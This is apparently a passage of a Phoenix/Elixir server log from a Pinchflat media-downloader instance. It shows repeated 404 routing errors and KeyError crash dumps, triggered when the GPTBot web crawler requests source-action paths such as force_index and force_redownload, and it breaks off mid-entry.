"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MyvtZpF0PzpEAAFFR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39096}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39096}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, (truncated) 20:40:45.598 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:52.096 [info] GET /sources/1/sync_files_on_disk 20:40:52.097 [debug] QUERY OK source="settings" db=0.5ms idle=1486.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:52.097 [debug] QUERY OK source="settings" db=0.1ms idle=1487.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:40:52.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:40:52.098 [error] #PID<0.4606.0> running PinchflatWeb.Endpoint (connection #PID<0.4605.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42730}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4606.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MzNUqQ-LQPhIAAFFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42730}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42730}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", (truncated) 20:41:00.461 [info] {"source":"oban","duration":2457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:15.600 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:15.692 [info] GET /sources/1/force_redownload 20:41:15.692 [debug] QUERY OK source="settings" db=0.3ms idle=520.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:41:15.693 [debug] QUERY OK source="settings" db=0.3ms idle=92.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:41:15.693 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:41:15.693 [error] #PID<0.4610.0> running PinchflatWeb.Endpoint (connection #PID<0.4609.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42894}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4610.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8M0lOR-1GtdukAADoS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42894}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 42894}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT2ZNTnVuZ2VPVjdqaUJnNV96SnFBZ0po.AYkMtdOsmwubGYDLUkjf5wA3oyLmN5uaP2Jmbe1MUyw", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => (truncated) 20:41:45.602 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.463 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:15.604 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:18.547 [info] GET /sources/1/force_download_pending 20:42:18.548 [debug] QUERY OK source="settings" db=0.9ms idle=1211.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:42:18.549 [debug] QUERY OK source="settings" db=0.3ms idle=938.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:42:18.549 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:42:18.549 [error] #PID<0.4616.0> running PinchflatWeb.Endpoint (connection #PID<0.4615.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53346}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4616.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8M4PYGDnMiGi4AAFGh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53346}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4615.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53346}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; 